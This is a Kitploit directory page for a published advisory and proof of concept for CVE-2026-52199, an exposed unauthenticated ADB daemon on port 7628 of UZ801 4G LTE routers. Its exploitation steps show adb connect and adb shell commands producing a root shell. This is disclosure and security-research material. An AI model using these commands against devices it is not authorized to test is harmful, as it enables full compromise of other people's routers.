Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-52199 — Proof-of-concept exploit for CVE-2026-52199: unauthenticated remote code execution via exposed ADB daemon on UZ801 4G LTE router. Includes vulnerability analysis, impact assessment, and step-by-step exploitation guide for authorized security testing. | Kitploit
Tools/GitHubGitHub/lamaper/cve-2026-52199
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolLabs & Practice
GitHublamaper/cve-2026-52199

CVE-2026-52199

Proof-of-concept exploit for CVE-2026-52199: unauthenticated remote code execution via exposed ADB daemon on UZ801 4G LTE router. Includes vulnerability analysis, impact assessment, and step-by-step exploitation guide for authorized security testing.

1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-52199 : Unauthenticated Remote Code Execution in UZ801 4G Router

Vulnerability Summary

A critical Incorrect Access Control vulnerability exists in the Generic OEM UZ801_v2.1 4G LTE Router (Firmware V3.4.3). The device improperly exposes an unauthenticated Android Debug Bridge (ADB) daemon (/sbin/adbd) on TCP port 7628 to the adjacent network (LAN/WiFi).

hardware_pcb

An attacker connected to the device's local network can exploit this flaw to bypass all authentication mechanisms, establish an ADB connection, and execute arbitrary code with root privileges.

evidence

Affected Product

  • Vendor: Generic OEM / White-label ecosystem
  • Product: UZ801_v2.1 4G LTE Router
  • Version: V3.4.3
  • Vulnerable Component: /sbin/adbd

Impact

Exploitation of this vulnerability leads to a complete system compromise. The impact includes:

  • Remote Code Execution (RCE): True
  • Escalation of Privileges: True (Directly drops to a root shell)
  • Information Disclosure: True (Full access to internal file system and credentials)
  • Denial of Service (DoS): True (Ability to brick or manipulate the device)

Proof of Concept (PoC)

The exploitation process requires no special tools other than the standard adb client and adjacent network access.

Step 1: Connect to the UZ801 router's WiFi network (The default Gateway is usually 192.168.100.1).

Step 2: Scan the device for open ports. Port 7628/TCP will be reported as open.

Step 3: From the attacker's machine, initiate an ADB connection to the undocumented port:

root@kitploit:~
$ adb connect 192.168.100.1:7628
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.100.1:7628

Step 4: Request an interactive shell:

root@kitploit:~
$ adb -s 192.168.100.1:7628 shell

Step 5: The attacker is immediately dropped into a root shell without any authentication prompts:

root@kitploit:~
root@msm8916_32_512:/ # id
uid=0(root) gid=0(root) context=u:r:su:s0
root@msm8916_32_512:/ # uname -a
Linux localhost 3.10.49 #1 SMP PREEMPT ... aarch64

Disclaimer

For Educational and Authorized Security Research Purposes Only. The information and proof-of-concept provided in this repository are intended solely for educational purposes and to help secure networks. The author (lamaper) is not responsible for any misuse of this information. Do not use this exploit against devices or networks you do not own or do not have explicit permission to test.

Download Tool